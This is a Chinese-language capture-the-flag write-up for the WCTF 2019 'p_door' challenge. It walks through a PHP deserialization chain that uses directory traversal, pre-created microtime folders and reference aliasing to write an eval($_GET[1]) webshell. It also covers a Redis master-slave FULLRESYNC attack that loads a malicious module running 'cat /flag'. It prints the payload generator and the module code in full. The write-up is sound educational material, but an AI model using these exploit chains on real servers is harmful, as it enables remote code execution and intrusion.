wctf2019-p_door(LC⚡️BC)

前言

本题分为两大块,第一块是一个极为精妙的PHP反序列化的构造,第二块是redis 1day的利用。
本文由本人首发在
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/HkzsDzRxr

反序列化getshell

这道题的反序列化利用用到一个相当老且冷门的知识

首先可以定位到publish这个功能具有写文件的操作

//controllers.php
...
 public function doPublish(){
        $this->checkAuth();
        $page = unserialize($_COOKIE["draft"]);
        $fname = $_POST["fname"];
        $page->publish($fname);
        setcookie("draft", null, -1);
        die("Your blog post will be published after a while (never)<br><a href=/>Back</a>");
    }
...

publish调用了Cache::writeToFile,可以看到$ext明显存在目录穿越(substr(strstr($filename, "."), 1))。
举个例子,传入$filename./../../../../var/www/html/a.php
拼凑出完整的目录是/tmp/cache/[username]/[microtime]./../../../../var/www/html/a.php

//models.php
class Page {
    const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl");
    public $view;
    public $text;
    public $template;
    public $header;

    public function __construct(string $template) {
        $this->template = $template;

    }

    public function __toString(): string {
        return $this->render();
    }

    public function publish($filename) {
        $user = User::getInstance();
        $ext = substr(strstr($filename, "."), 1);

        $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
        $user->checkWritePermissions();
        Cache::writeToFile($path, $this);
    }

...

但是存在一个问题,我们可以发现这里使用了is_dir判断路径,如果路径中含有不存在的目录名就会报错退出。这里不存在的目录为[microtime].

...
class Cache {
    public static function writeToFile($path, $content) {
        error_log($path); # TODO: delete this
        $info = pathinfo($path);
        if (!is_dir($info["dirname"]))
            throw new Exception("Directory doesn't exists");
        if (is_file($path))
            throw new Exception("File already exists");
        file_put_contents($path, $content);
    }
}
...

这一步可以通过getCacheDir()这里mkdir实现绕过,因为我们发现其实在checkWritePermissions()之前就进行了getCacheDir()操作,从而我们可以在某一个未来时间点附近,用这个时间点为用户名疯狂mkdir,比如,使用wupco/1562336457.§1722§这个用户名,用§包裹的是我要放在burpsuite里跑的,将未来这个时间点1s之内的文件夹都建立出来。

  public function checkWritePermissions() {
        if (!$this->name || !ctype_alnum($this->name))
            die("Invalid user");
        if ( !(($this->perms >> 2)&1) )
            die("Access denied");
    }
  public function getCacheDir(): string {
        $dir_path = self::CACHE_PATH . $this->name;
        if (!is_dir($dir_path)){
            mkdir($dir_path);
        }
        return $dir_path;
    }

所以现在我们可以做到任意文件写了,我们再关注一下写的内容为$this,也就是Page本身这个类,在写的时候会自动调用__toString转成字符串,这里面调用了->render()这个函数

public function renderVars(): string {
        $content = $this->view["content"];
        foreach ($this->vars as $k=>$v){
            $v = htmlspecialchars($v);
            $content = str_replace("@@$k@@", $v, $content);
        }
        return $content;
    }

    private function getHeader(): ?Page {
        return $this->header;
    }

    public function render(): string {
        $user = User::getInstance();

        if (!array_key_exists($this->template, self::TEMPLATES))
            die("Invalid template");

        $tpl = self::TEMPLATES[$this->template];

        $this->view = array();

        $this->view["content"] = file_get_contents($tpl);
        $this->vars["user"]  = $user->name;
        $this->vars["text"]  = $this->text."\n";
        $this->vars["rendered"] = microtime(true);

        $content = $this->renderVars();
        $header = $this->getHeader();

        return $header.$content;
    }

具体的逻辑是从两个固定的模板里取一个内容作为$this->view["content"],然后对数组变量$this->vars几个位置赋值,再将变量渲染到模板中。渲染的过程十分血腥暴力,直接把变量内容htmlspecialchars了,这样你可控$this->text也无济于事了,无法写个shell出来(<会被实体化)。两个可选的模板如下

//main.tpl
@@text@@
<hr>
<small>
Created by Super Blog System.
<br>
Rendered at: @@rendered@@
</small>
<br>

//header.tpl
<hr>
User: @@user@@
<hr>
@@text@@
<br>
<br>

正常整个类的结构如下

Page Object
(
    [view] => 
    [text] => aaaa
    [template] => main
    [header] => Page Object
        (
            [view] => 
            [text] => 
            [template] => header
            [header] => 
        )

    [user] => User Object
        (
            [name] => wupco
            [perms] => 4
        )

    [filename] => 
)

经过渲染之后的结果如下(这个内容根据前面已经可以写到任意文件里了)

<hr>
User: wupco
<hr>
aaaa
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>

绕过实体化的技巧得于一个很古老的技巧
南邮ctf训练平台某题
利用同类变量可以进行引用的操作(有点类似于指针)

我们注意题目的这几行

$tpl = self::TEMPLATES[$this->template];

$this->view = array();

$this->view["content"] = file_get_contents($tpl);
$this->vars["user"]  = $user->name;
$this->vars["text"]  = $this->text."\n";
$this->vars["rendered"] = microtime(true);

在取完$this->view["content"]后对$this->vars进行了赋值操作,如果我把$this->vars指向$this->view是不是就存在变量覆盖的情况呢?答案是是的!
但是我们注意到$this->view = array();,也就是view如果有内容本身就会被清空,我们的指针只能指向view而不能指向view['content'],而且$user->name是有检测的,只能为string的字母数字,所以只有this->vars["text"] = this->text."\n";这一个可利用了,我构造出的引用为this->vars["text"] = &this->view;。举个例子,我们控制$this->text<?php aaa\n,那么$this->vars["text"]将会被赋值,同时指向的内容$this->view也会被赋值<?php aaa\n,那么在renderVars的时候

public function renderVars(): string {
        $content = $this->view["content"];
        foreach ($this->vars as $k=>$v){
            $v = htmlspecialchars($v);
            $content = str_replace("@@$k@@", $v, $content);
        }
        return $content;
    }

会取content=this->view["content"];但是明显我们这里$this->view只能为字符串,不过不慌,这里面实际上是可以取的,以上内容会被取第一字节<,虽然报个warning,但无碍。

这样我们就可以避免<被转义了,我们构造$this->header为以上的payload,然后在$this本体拼上?php phpinfo()两个就会被拼接起来,注意本体使用main.tpl这个模板,是直接以可控内容开头的。

$content = $this->renderVars();
$header = $this->getHeader();
return $header.$content;

拼凑完是个这样子,很明显不符合php语法没法用

<?php phpinfo();
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>

这时候我们可以用php的__halt_compiler();结束PHP的opcode编译过程

<?php phpinfo();__halt_compiler();
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>

ok,最终getshell的反序列化部分的payload为,前面一部分反序列化数据是我从cookie里取的,方便直接修改,也可以new一个Page。

$a = unserialize(urldecode('O%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22sad%22%3Bs%3A8%3A%22template%22%3Bs%3A4%3A%22main%22%3Bs%3A6%3A%22header%22%3BO%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22asd%22%3Bs%3A8%3A%22template%22%3Bs%3A6%3A%22header%22%3Bs%3A6%3A%22header%22%3BN%3Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22wupco%22%3Bs%3A5%3A%22perms%22%3Bi%3A4%3B%7Ds%3A8%3A%22filename%22%3BN%3B%7Ds%3A4%3A%22user%22%3Br%3A10%3Bs%3A8%3A%22filename%22%3BN%3B%7D'));
$a->header = new Page('main');
$a->header->vars["text"] = &$a->header->view;
$a->header->text = '<?php aaaaa';
$a->text = '?php eval($_GET[1]); __halt_compiler();';
print_r($a);
echo urlencode(serialize($a));

需要用burpsuite一直跑两个payload,一个是时间戳比当前稍晚一些的1s之内的mkdir,一个是这个写shell的。

redis5.0 1day 利用

文章出处 刚好是题目作者orz。

这里利用的是redis>3.x版本的一个主从模式(slave)的一个安全问题。

我们可以自己搭建一个slave redis服务器,然后在目标redis上利用slaveof做主从同步。

目的在于利用FULLRESYNC机制完全可控config set dbname ... 这个文件的内容(以往我们利用都是利用容错性写文件crontabwebshellsshkey),现在是要求完全可控,因为我们要写的不是别的,是redis另一个重大功能module,它允许加载一个外部的so文件。

于是我们的利用思路是
1. 利用FULLRESYNC同步一个so文件(db)到目标服务器.
2. 利用module load加载so文件.
3. 使用扩展里自定义的函数get flag.

前面需要搭建一个可控返回报文内容的redis服务器(使用Custom形式报文的)
https://travis-ci.org/chekart/rediserver

然后在目标redis执行slaveof xxx xx,创建主从模式
设置一个导出so的名字,config set dbfilename xxxx
然后这边搭建好的服务器控制返回FULLRESYNC的报文
然后在目标redis load 写好的module

这里我是改编 https://github.com/wujunze/redis-module-panda 一个样例module

int HelloCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {

+    FILE *fp = NULL;
+    char data[100] = {'0'};
+    fp = popen("cat /flag", "r");
+    fgets(data, sizeof(data), fp);
+    pclose(fp);
+    RedisModule_ReplyWithSimpleString(ctx, data);
    return REDISMODULE_OK;
}

本地测试

远程(做了端口转发)

题目文件下载地址

https://drive.google.com/file/d/1hD97d3-SR_Ou1hsyelxkS8PfV9MlQrU-/view?usp=sharing

  • 用支付宝打我
  • 用微信打我

发表评论

电子邮件地址不会被公开。 必填项已用*标注